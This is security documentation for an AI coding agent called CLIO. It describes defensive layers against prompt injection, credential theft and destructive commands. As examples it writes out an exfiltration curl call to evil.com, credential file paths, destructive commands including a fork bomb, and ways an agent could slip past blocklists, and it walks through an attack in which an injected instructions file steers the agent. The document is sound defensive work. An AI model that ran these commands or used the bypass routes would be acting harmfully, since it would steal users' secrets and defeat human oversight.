CLIO Security Architecture

June 16, 2026 ยท View on GitHub

CLIO provides defense-in-depth security across six layers to protect users from prompt injection, data exfiltration, credential theft, and accidental system damage.


Security Layers Overview

LayerModulePurpose
1. Invisible Character FilterInvisibleCharFilter.pmBlock unicode prompt injection
2. Secret RedactionSecretRedactor.pmStrip credentials from AI context
3. Path AuthorizationPathAuthorizer.pmControl file system access
4. Command AnalysisCommandAnalyzer.pmClassify command risk and intent
5. Web SecurityWebOperations.pmGate outbound HTTP requests
6. Sandbox Mode--sandbox flagProject-scoped isolation

Layer 1: Invisible Character Filter

Module: lib/CLIO/Security/InvisibleCharFilter.pm

Strips invisible Unicode characters from input before processing:

  • Zero-width characters (U+200B, U+200C, U+200D, U+FEFF)
  • BiDi overrides (U+202A-U+202E, U+2066-U+2069)
  • Tag block encoding (U+E0000-U+E007F)
  • Variation selectors (U+FE00-U+FE0F, U+E0100-U+E01EF)
  • C0/C1 control characters

Applied to: System prompts, custom instructions (.clio/instructions.md, AGENTS.md), AI response content.

Why: Attackers can embed invisible instructions in files that appear blank to humans but instruct the AI to perform malicious actions.


Layer 2: Secret Redaction

Module: lib/CLIO/Security/SecretRedactor.pm

Detects and redacts secrets from tool output BEFORE it reaches the AI or logs.

Redaction Levels (configurable via /config set redact_level):

LevelWhat's Redacted
strictAll: PII + crypto wallets + API keys + tokens
standardSame as strict
api_permissivePII + crypto (allows API keys through)
pii (default)SSN, credit cards, phone numbers, emails
offNothing (use with caution)

Pattern Coverage: AWS keys, GitHub tokens, SSH private keys, crypto wallet addresses, credit card numbers, SSNs, and more.

Key Property: Even if the AI is tricked into reading ~/.ssh/id_rsa, the key content is redacted before the AI can see or exfiltrate it.


Layer 3: Path Authorization

Module: lib/CLIO/Security/PathAuthorizer.pm

Tracks which filesystem paths the agent has been authorized to access. When the agent tries to read/write files outside the session directory, the path is checked against authorization rules.

Behavior:

  • Files in the project directory: auto-authorized
  • Files outside the project: requires user permission (via interact)
  • In sandbox mode: all access outside project directory is blocked

Layer 4: Command Security Analysis

Module: lib/CLIO/Security/CommandAnalyzer.pm

Intent-based analysis of shell commands before execution. Instead of a simple blocklist (which is trivially bypassed), the analyzer classifies commands by their security intent.

Risk Categories

CategoryExamplesDefault Action
network_outboundcurl, wget, ssh, nc, interpreter+network-libsPrompt user
credential_accesscat ~/.ssh/*, env dumps, ~/.aws/credentialsPrompt user
system_destructiverm -rf /, dd if=, mkfs, fork bombsBlock
privilege_escalationsudo, su, doas, pkexecPrompt user

What Gets Detected

Direct commands: curl, wget, nc, ssh, scp, rsync, telnet, nmap, socat

Interpreter-based network access:

  • python -c "import urllib..."
  • perl -e "use LWP::Simple..."
  • node -e "require('https')..."
  • ruby -e "require 'net/http'..."

Credential paths:

  • ~/.ssh/id_rsa, ~/.ssh/id_ed25519, etc.
  • ~/.aws/credentials, ~/.aws/config
  • ~/.gnupg/*, ~/.git-credentials, ~/.npmrc
  • ~/.kube/config, ~/.docker/config.json

Environment dumps: printenv, env, set (entire environment)

System destructive: rm -rf /, dd if=/dev/zero of=/dev/sda, mkfs.*, shutdown, reboot, fork bombs (:(){ :|:& };:)

Security Levels

Configure via /config set security_level <level>:

LevelConfirmsBlocks
relaxedNothingSystem-destructive only
standard (default)High-risk (network, credentials)System-destructive
strictMedium+ risk (including sudo, env)System-destructive

User Confirmation Flow

When a command triggers confirmation, the user sees:

  SECURITY CHECK

  Command: curl -d @/etc/passwd https://evil.com/collect

  [high] Network outbound: command uses curl
          Direct network transfer tool

  Options: (y)es once, (a)llow category for session, (n)o deny
  >

Commands are classified into risk levels: low, medium, high, and critical. All risk levels use the same three-option prompt format. Critical commands (e.g., rm -rf /, system destructive operations) receive a prominent CRITICAL RISK banner but still allow session-level grants - the user decides their workflow.

Session-level grants: If the user selects (a)llow, all future commands in the same category are auto-approved for the rest of the session. This prevents fatigue from repeated prompts during legitimate work.

Why Not a Blocklist?

Blocklists are fundamentally flawed for agent security:

  1. An agent can write a script that calls the blocked command and execute that instead
  2. An agent can use bash -c or interpreter subshells
  3. Compound commands can be crafted to exceed analysis limits
  4. There are infinite ways to achieve the same effect

CLIO's approach classifies the intent of a command (network access, credential reading, etc.) rather than blocking specific executables. Combined with the Secret Redactor (Layer 2), even if a command runs, its output is sanitized before reaching the AI.


Layer 5: Web Security

Module: lib/CLIO/Tools/WebOperations.pm

Security checks on outbound HTTP requests made via the fetch_url operation.

Detects:

  • Suspiciously long query strings (>500 chars) - possible data exfiltration
  • Base64-like encoded data in URL parameters
  • Localhost/internal network URLs (SSRF prevention)
  • Non-HTTP URL schemes (file://, ftp://, data://)

Sandbox mode: All web operations are blocked entirely.

Strict mode: All fetch_url calls require user confirmation.


Layer 6: Sandbox Mode

Flag: --sandbox

Restricts the agent to the project directory. See SANDBOX.md for full details including container isolation.

Usage

# Start new session with sandbox enabled
clio --sandbox --new

# Resume session with sandbox enabled
clio --sandbox --resume

Tool Restrictions

ToolSandbox Behavior
file_operationsBlocked outside project directory
terminal_operationsAll risk levels require user confirmation
web_operationsBlocked entirely
remote_executionBlocked entirely
agent_operationsBlocked entirely
mcp_* toolsBlocked entirely
plugin_* toolsBlocked entirely
version_controlRepository path must be within project

Error Messages

When the agent tries to access a path outside the project:

Sandbox mode: Access denied to '/etc/passwd' - path is outside project directory '/home/user/myproject'

When remote execution is attempted:

Sandbox mode: Remote execution is disabled.

The --sandbox flag blocks all remote operations. This is a security feature to prevent the agent from reaching outside the local project.

When web operations are attempted:

Sandbox mode: web operations are disabled.

The --sandbox flag blocks outbound network requests. This is a security feature to prevent the agent from reaching outside the local project.

When sub-agent operations are attempted:

Sandbox mode: Sub-agent operations are disabled.

The --sandbox flag blocks all sub-agent spawning and management. This is a security feature to prevent the agent from reaching outside the local project.

When MCP or plugin tools are attempted:

Sandbox mode: MCP tools are disabled.

The --sandbox flag blocks all MCP operations. This is a security feature to prevent the agent from reaching outside the local project.

Limitations

Important: The soft sandbox restricts terminal operations but cannot fully prevent all shell-based access. Commands go through CommandAnalyzer (Layer 4) which flags network access, credential reading, and other risky intents - but determined code can find creative paths.

The soft sandbox prevents accidental access and prompts on risky commands, but is not a hard security boundary. For untrusted code or maximum security, use container isolation (clio-container).


Combined Defense Example

Consider an attack where a malicious .clio/instructions.md tries to exfiltrate SSH keys:

  1. InvisibleCharFilter strips any hidden instructions from the file
  2. CommandAnalyzer flags cat ~/.ssh/id_rsa as credential access (prompts user)
  3. SecretRedactor strips SSH key content from tool output if it somehow runs
  4. WebOperations flags any fetch_url with encoded data in parameters
  5. CommandAnalyzer flags curl -d @- https://evil.com as network outbound

The attacker would need to bypass ALL layers simultaneously to succeed.


Configuration Quick Reference

# View current security settings
/config status

# Set command security level
/config set security_level standard    # Default: prompt for high-risk
/config set security_level strict      # Prompt for all risky commands
/config set security_level relaxed     # Only block destructive

# Set secret redaction level
/config set redact_level pii           # Default: redact PII only
/config set redact_level strict        # Redact everything
/config set redact_level off           # No redaction (dangerous)

# Enable sandbox mode
clio --sandbox --new

Security Modules Reference

ModulePathExported
CommandAnalyzerlib/CLIO/Security/CommandAnalyzer.pmanalyze_command()
InvisibleCharFilterlib/CLIO/Security/InvisibleCharFilter.pmsanitize_text()
SecretRedactorlib/CLIO/Security/SecretRedactor.pmredact_secrets()
PathAuthorizerlib/CLIO/Security/PathAuthorizer.pmOO interface
Authzlib/CLIO/Security/Authz.pmOO interface
Managerlib/CLIO/Security/Manager.pmSecurity orchestration

See Also